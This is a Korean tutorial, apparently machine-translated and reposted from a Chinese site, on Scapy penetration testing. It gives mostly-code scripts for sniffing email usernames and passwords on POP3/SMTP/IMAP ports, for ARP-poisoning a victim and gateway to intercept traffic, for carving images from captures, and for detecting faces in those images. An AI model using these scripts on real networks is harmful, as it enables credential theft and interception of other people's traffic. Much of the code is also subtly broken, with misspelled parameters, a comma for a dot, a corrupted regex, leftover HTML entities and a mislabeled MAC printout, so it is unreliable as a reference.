Python 침투 테스트 시작하기: Scapy 라이브러리 사용 방법

Scapy는 기본 네트워크 데이터 패킷을 구문 분석하는 데 사용되는 Python 모듈 및 대화형 프로그램입니다. 이 프로그램은 기본 패킷 처리를 추상적으로 패키지하여 네트워크 데이터 패킷 처리를 매우 간단하게 만듭니다. 이 클래스 라이브러리는 네트워크 보안 분야에서 매우 광범위한 사용 사례를 가질 수 있으며 취약점 악용 개발, 데이터 유출, 네트워크 모니터링, 침입 탐지 및 트래픽 분석 및 캡처에 사용될 수 있습니다. Scapy는 데이터 시각화 및 보고서 생성과 통합되어 결과와 데이터를 쉽게 표시합니다.

이메일 ID 자격 증명을 훔칩니다.

Scapy는 간결한 이름으로 스니프를 제공합니다. 정의는 다음과 같습니다.

sniff(filter = " ", iface = "any", prn = function, count = N)

필터 매개변수를 사용하면 To 필터를 사용하여 Berkeley 패킷 필터(Berkeley Packet Filter, BPF)를 지정할 수 있습니다. Scapy가 스니핑한 패킷의 경우 이 매개변수를 비워 두어 모든 패킷이 스니핑됨을 나타낼 수도 있습니다.

iface 매개변수는 스니퍼가 스니핑할 네트워크 카드를 지정하는 데 사용됩니다. 설정하지 않으면 기본적으로 모든 네트워크 카드가 스니핑됩니다. prn 매개변수는 콜백 함수를 지정하는 데 사용됩니다. 필터링 조건을 충족하는 패킷이 발견될 때마다 스니퍼는 이 콜백 함수에 패킷을 전달합니다. count 매개변수는 스니핑하려는 패킷 수를 지정하는 데 사용할 수 있습니다. 공백으로 두면 Scapy는 계속 스니핑합니다.

mail_sniffer.py:

from scapy.all import sniff

def packet_callback(packet):
    print(packet.show())

def main():
    sniff(pro=packet_callback, count=1)

if __name__ == '__main__':
    main()

이 간단한 스니퍼에서는 사서함 프로토콜 관련 명령만 스니핑합니다.

다음으로 이메일 계정 인증과 관련된 데이터를 타겟 방식으로 캡처하기 위해 필터와 콜백 기능 코드를 추가하겠습니다.

먼저 스니퍼가 관심 있는 패킷만 표시하도록 패킷 필터를 설정하겠습니다. BPF 구문(Wireshark 스타일 구문이라고도 함)을 사용하여 필터를 작성합니다. tcpdump 및 Wireshark와 같은 도구에서 이 구문을 사용할 수 있습니다. 먼저 기본 BPF 구문에 대해 이야기해 보겠습니다. BPF 구문에서는 그림과 같이 설명자(예: 특정 호스트 주소, 네트워크 카드 이름 또는 포트 번호), 데이터 흐름 방향 및 통신 프로토콜의 세 가지 유형의 정보를 사용할 수 있습니다. 찾고 있는 데이터에 따라 특정 유형, 방향 또는 프로토콜을 자유롭게 추가하거나 생략할 수 있습니다.

먼저 BPF를 작성해 보겠습니다.

from scapy.all import sniff, TCP, IP

#the packet callback
def packet_callback(packet):
    if packet[TCP].payload:
        mypacket = str(packet[TCP].paylaod)
        if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
            print(f"[*] Destination: {packet[IP].dst}")
            print(f"[*] {str(packet[TCP].payload)}")


def main():
    #fire up the sniffer
    sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',prn=packet_callback, store=0)
#监听邮件协议常用端口
#新参数store，把它设为0以后，Scapy就不会将任何数据包保留在内存里

if __name__ == '__main__':
    main()

ARP 중독 공격

논리: 대상 장치를 속여 우리가 게이트웨이라고 믿게 한 다음 게이트웨이를 속이고 모든 트래픽이 대상 장치로 전송되도록 지시합니다. 앞으로는 우리에게 맡겨야 합니다. 네트워크의 모든 장치는 최근 기간 동안 로컬 네트워크의 MAC 주소와 IP 주소 간의 대응을 기록하는 ARP 캐시를 유지합니다. 이 공격을 구현하기 위해 우리는 이러한 ARP 캐시를 오염시킵니다. 즉, 조작된 레코드를 캐시에 삽입합니다.

실험의 대상 머신은 mac입니다

arper.py:

from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr, send, sniff, sndrcv, srp, wrpcap)
import os
import sys
import time

def get_mac(targetip):
    packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
    resp, _= srp(packet, timeout=2, retry=10, verbose=False)
    for _, r in resp:
        return r[Ether].src
    return None
    
class Arper:
    def __init__(self, victim, gateway, interface='en0'):
        self.victim = victim
        self.victimmac = get_mac(victim)
        self.gateway = gateway
        self.gatewaymac = get_mac(gateway)
        self.interface = interface
        conf.iface = interface
        conf.verb = 0

        print(f'Initialized {interface}:')
        print(f'Gateway ({gateway}) is at {self.gateway}')
        print(f'Victim ({victim}) is at {self.gatewaymac}')
        print('_'*30)
    
    def run(self):
        self.poison_thread = Process(target=self.poison)
        self.poison_thread.start()

        self.sniff_thread = Process(target=self.sniff)
        self.sniff_thread.start()

    def poison(self):
        poison_victim = ARP()
        poison_victim.op = 2
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victimmac
        print(f'ip src: {poison_victim.psrc}')
        print(f'ip dst: {poison_victim.pdst}')
        print(f'mac dst: {poison_victim.hwdst}')
        print(f'mac src: {poison_victim.hwsrc}')
        print(poison_victim.summary())
        print('_'*30)
        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = self,victim 
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gatewaymac

        print(f'ip src: {poison_gateway.psrc}')
        print(f'ip dst: {poison_gateway.pdst}')
        print(f'mac dst: {poison_gateway.hwdst}')
        print(f'mac_src: {poison_gateway.hwsrc}')
        print(poison_gateway.summary())
        print('_'*30)
        print(f'Beginning the ARP poison. [CTRL -C to stop]')
        while True:
            sys.stdout.write('.')
            sys.stdout.flush()
            try:
                send(poison_victim)
                send(poison_gateway)
            except KeyboardInterrupt:
                self.restore()
                sys.exit()
            else:
                time.sleep(2)


    def sniff(self, count=200):
        time.sleep(5)
        print(f'Sniffing {count} packets')
        bpf_filter = "ip host %s" % victim
        packets = sniff(count=count, filter=bpf_filter, ifcae=self.interface)
        wrpcap('arper.pcap', packets)
        print('Got the packets')
        self.restore()
        self.poison_thread.terminate()
        print('Finished')

    def restore(self):
        print('Restoring ARP tables...')
        send(ARP(
            op=2,
            psrc=self.gateway,
            hwsrc=self.gatewaymac,
            pdst=self.victim,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5)
        send(ARP(
            op=2,
            psrc=self.victim,
            hwsrc=self.victimmac,
            pdst=self.gateway,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5)
                

if __name__ == '__main__':
    (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
    myarp = Arper(victim, gateway, interface)
    myarp.run()

pcap 파일 처리

recapper.py:

from scapy.all import TCP, rdpcap
import collections
import os
import re
import sys
import zlib

OUTDIR = '/root/Desktop/pictures'
PCAPS = '/root/Downloads'

Response = collections.namedtuple('Response', ['header','payload'])

def get_header(payload):
    try:
        header_raw = payload[:payload.index(b'\r\n\r\n')+2]
    except ValueError:
        sys.stdout.write('_')
        sys.stdout.flush()
        return None
    
    header = dict(re.findall(r&#39;?P<name>.*?): (?P<value>.*?)\r\n&#39;, header_raw.decode()))
    if &#39;Content-Type&#39; not in header:
        return None
    return header

def extract_content(Response, content_name=&#39;image&#39;):
    content, content_type = None, None
    if content_name in Response.header[&#39;Content-Type&#39;]:
        content_type = Response.header[&#39;Content-Type&#39;].split(&#39;/&#39;)[1]
        content = Response.payload[Response.payload.index(b&#39;\r\n\r\n&#39;)+4:]

        if &#39;Content-Encoding&#39; in Response.header:
            if Response.header[&#39;Content-Encoding&#39;] == "gzip":
                content = zlib.decompress(Response.payload, zlib.MAX_wbits | 32)
            elif Response.header[&#39;Content-Encoding&#39;] == "deflate":
                content = zlib.decompress(Response.payload) 
    
    return content, content_type

class Recapper:
    def __init__(self, fname):
        pcap = rdpcap(fname)
        self.session = pcap.session()
        self.responses = list()

    def get_responses(self):
        for session in self.session:
            payload = b&#39;&#39;
            for packet in self.session[session]:
                try:
                    if packet[TCP].dport == 80 or packet[TCP].sport == 80:
                        payload += bytes(packet[TCP].payload)
                except IndexError:
                    sys.stdout.write(&#39;x&#39;)
                    sys.stdout.flush()
        
            if payload:
                header = get_header(payload)
                if header is None:
                    continue
            self.responses.append(Response(header=header, payload=payload))
    def write(self, content_name):
        for i, response in enumerate(self.responses):
            content, content_type = extract_content(response, content_name)
            if content and content_type:
                fname = os.path.join(OUTDIR, f&#39;ex_{i}.{content_type}&#39;)
                print(f&#39;Writing {fname}&#39;)
                with open(fname, &#39;wb&#39;) as f:
                    f.write(content)

if __name__ == &#39;__main__&#39;:
    pfile = os.path.join(PCAPS, &#39;pcap.pcap&#39;)
    recapper = Recapper(pfile)
    recapper.get_responses()
    recapper.write(&#39;image&#39;)

사진을 얻으면 사진을 분석하고 확인해야 합니다. 각 사진 얼굴이 있는지 확인하는 데 사용됩니다. 얼굴이 포함된 각 이미지에 대해 얼굴 주위에 상자를 그리고 새 이미지로 저장합니다.

detector.py:

import cv2
import os

ROOT = '/root/Desktop/pictures'
FACES = '/root/Desktop/faces'
TRAIN = '/root/Desktop/training'

def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN):
    for fname in os.listdir(srcdir):
        if not fname.upper().endswith('.JPG'):
            continue
        fullname = os.path.join(srcdir, fname)

        newname = os.path.join(tgtdir, fname)
        img = cv2.imread(fullname)
        if img is None:
            continue

        gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
        training = os.path.join(train_dir, 'haarcascade_frontalface_alt.xml')
        cascade = cv2.CascadeClassifier(training)
        rects = cascade.detectMultiScale(gray, 1.3,5)
        try:
            if rects.any():
                print('Got a face')
                rects[:, 2:] += rects[:, :2]
        except AttributeError:
            print(f'No faces fount in {fname}')
            continue

        # highlight the faces in the image
        for x1, y1, x2, y2 in rects:
            cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2)
        cv2.imwrite(newname, img)

if name == '__main__':
    detect()

위 내용은 Python 침투 테스트 시작하기: Scapy 라이브러리 사용 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!